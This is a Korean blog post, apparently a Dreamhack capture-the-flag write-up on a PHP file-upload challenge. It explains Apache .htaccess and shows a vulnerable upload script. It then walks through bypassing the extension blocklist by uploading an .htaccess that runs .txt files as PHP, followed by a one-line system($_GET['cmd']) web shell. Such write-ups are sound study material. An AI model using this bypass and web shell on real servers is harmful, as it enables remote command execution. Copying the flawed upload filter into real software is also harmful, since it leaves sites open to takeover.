apache htaccess?
**.htaccess**는 Apache HTTP Server에서 웹 서버의 동작을 제어하기 위해 사용하는 디렉토리 수준의 구성 파일입니다. .htaccess는 특정 디렉토리에 위치하며, 그 디렉토리와 그 하위 디렉토리의 설정을 제어할 수 있습니다.
.htaccess 파일은 간단한 텍스트 파일로 작성되며, 다양한 설정과 규칙을 포함할 수 있습니다. 주로 사용되는 기능은 다음과 같습니다:
1. URL 리다이렉션 및 리라이트
- URL 리다이렉션: 특정 URL을 다른 URL로 리다이렉트합니다.
Redirect 301 /old-page.html http://example.com/new-page.html
- URL 리라이트: 사용자 친화적인 URL로 변경하거나 특정 URL 패턴을 다른 서버 경로로 매핑합니다.
RewriteEngine On RewriteRule ^products/(.*)$ /show-product.php?name=$1 [L]
2. 접근 제어
- 특정 IP 주소나 사용자 에이전트의 접근을 차단하거나 허용할 수 있습니다.
Order Deny,Allow Deny from 192.168.1.100 Allow from all
- 비밀번호 보호: 특정 디렉토리에 비밀번호를 설정할 수 있습니다.
AuthType Basic AuthName "Restricted Access" AuthUserFile /path/to/.htpasswd Require valid-user
3. 기본 문서 설정
- 특정 디렉토리의 기본 파일을 지정합니다.
DirectoryIndex index.html index.php
4. MIME 타입 설정
- 특정 파일 확장자에 MIME 타입을 설정합니다.
AddType application/pdf .pdf AddType image/svg+xml .svg
5. 캐싱 제어
- 캐싱 규칙을 설정해 브라우저 캐싱을 활용하거나 캐싱을 제한합니다.
<FilesMatch "\.(jpg|png|gif|css|js)$"> Header set Cache-Control "max-age=2592000, public" </FilesMatch>
6. 보안 설정
- 디렉토리 또는 파일에 대한 접근을 제한합니다.
<Files ".htaccess"> Require all denied </Files>
- HTTPS 강제 적용:
RewriteEngine On RewriteCond %{HTTPS} off RewriteRule ^(.*)$ https://%{HTTP_HOST}/$1 [R=301,L]
특징
- .htaccess는 디렉토리 수준에서 즉각적으로 변경 사항을 적용할 수 있어 빠른 설정 변경에 유용합니다.
- 웹 서버의 전반적인 설정 파일(예: httpd.conf)보다 우선적으로 디렉토리별 세부 설정을 제공합니다.
- 잘못된 설정 시 서버 성능에 영향을 미치거나 보안 문제가 발생할 수 있으니 주의가 필요합니다.
사용 주의 사항
- 퍼포먼스: .htaccess는 파일을 매번 읽으므로, 빈번한 사용은 성능 저하를 초래할 수 있습니다. 대규모 설정은 서버의 메인 구성 파일에서 처리하는 것이 좋습니다.
- 보안: 설정이 잘못되면 디렉토리나 파일이 노출될 수 있으므로, 파일 접근 권한을 신중히 관리해야 합니다.
파일 생성 방법
- .htaccess라는 이름의 파일을 텍스트 에디터로 생성합니다.
- 원하는 규칙을 작성한 뒤 저장합니다.
- 해당 파일을 Apache 서버가 사용하는 디렉토리에 업로드합니다.
- 서버 설정에서 .htaccess를 허용(AllowOverride All)해야 적용됩니다.
.htaccess는 Apache 서버를 유연하고 세부적으로 제어할 수 있는 강력한 도구입니다. 웹 개발 시 필요한 환경을 빠르게 설정하거나 특정 요구 사항을 처리하기에 적합합니다.
소스코드를 확인하러가보자
소스코드 index.php
<html>
<head></head>
<link rel="stylesheet" href="/static/bulma.min.css" />
<body>
<div class="container card">
<div class="card-content">
<h1 class="title">Online File Box</h1>
<form action="upload.php" method="post" enctype="multipart/form-data">
<div class="field">
<div id="file-js" class="file has-name">
<label class="file-label">
<input class="file-input" type="file" name="file">
<span class="file-cta">
<span class="file-label">Choose a file...</span>
</span>
<span class="file-name">No file uploaded</span>
</label>
</div>
</div>
<div class="control">
<input class="button is-success" type="submit" value="submit">
</div>
</form>
</div>
</div>
<script>
const fileInput = document.querySelector('#file-js input[type=file]');
fileInput.onchange = () => {
if (fileInput.files.length > 0) {
const fileName = document.querySelector('#file-js .file-name');
fileName.textContent = fileInput.files[0].name;
}
}
</script>
</body>
</html>
upload.php
<?php
$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");
if (isset($_FILES)) {
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
$temp = explode(".", $name);
$extension = end($temp);
if(in_array($extension, $deniedExts)){
die($extension . " extension file is not allowed to upload ! ");
}else{
move_uploaded_file($tmp_name, "upload/" . $name);
echo "Stored in: <a href='/upload/{$name}'>/upload/{$name}</a>";
}
}
}else {
echo "File is not selected";
}
?>
https://st-together.tistory.com/67
이 풀이 블로그 글을 보면 각 코드에 대한 설명이 잘 나와있다 굳!
해당 문제는 파일 업로드 취약점을 이용하여 웹쉘을 업로드하여 flag를 획득하여야 한다.
php로 작성된 웹 사이트이기에 php의 웹쉘을 업로드 해야 하지만 php의 다른 이름까지 필터링되어 있기에 업로드하기에 어려움이 있다.
이때 사용할 수 있는 방법이 문제의 제목에 나와 있듯이 htaccess파일을 통해 필터링을 우회하는 방법이다.
htaccess파일이란 간단히 설명하면 해당 디렉터리와 그 하위 디렉터리의 설정에 대해 지정하는 파일이다.
해당 파일을 웹쉘을 사용할 수 있도록 설정한 후 업로드를 하면 /upload 디렉터리에 htaccess파일이 저장될 것이고
저장된 htaccess파일을 통해 /upload 디렉터리는 자신이 설정한 대로 조작이 가능하게 된다.
출처ㅣ https://st-together.tistory.com/67
캬, htaccess, 즉 해당 디렉터리와, 하위 디렉터리의 설정을 마음대로 할 수 있으니 그 위 상위 upload디렉터리 설정이 마음대로 변경되는거다
본격 htaccess 파일을 만들어보자
메모장을 열고 제목은 .htaccess 내용은 AddType application/x-httpd-php .txt
업로드 후 .txt로 확장자로 끝나는 웹쉘을 업로드하면 된다
<?php
echo "hello";
system($_GET['cmd']);
?>
GET메서드를 통해 cmd파라미터의 값을 가져와 system함수를 사용하여 쉘 명령어를 사용할 수 있도록 하였다.
웹쉘의 정상 작동을 확인하기 위해 echo "hello"를 입력했다
find / -name "flag" 2>/dev/null
# /경로에서부터 이름이 flag인것을 찾는다. 2>/dev/null을 통해 오류 메시지는 출력하지 않는다
출처 https://st-together.tistory.com/67
'Dreamhack > Dreamhack Wargame (Challenge)' 카테고리의 다른 글
[76] IT 비전공자 [dreamhack]broken-png문제 풀기 (1) | 2024.11.24 |
---|---|
[75] IT 비전공자 [dreamhack]SingleByteXor문제 풀기 (0) | 2024.11.23 |
[73] IT 비전공자 [dreamhack]File Vulnerability Advanced for linux문제 풀기 (1) | 2024.11.21 |
[72] IT 비전공자 [dreamhack]Secure Mail문제 풀기 (2) | 2024.11.20 |
[71] IT 비전공자 [dreamhack] Basic_Forensics_1문제 풀기 (2) | 2024.11.19 |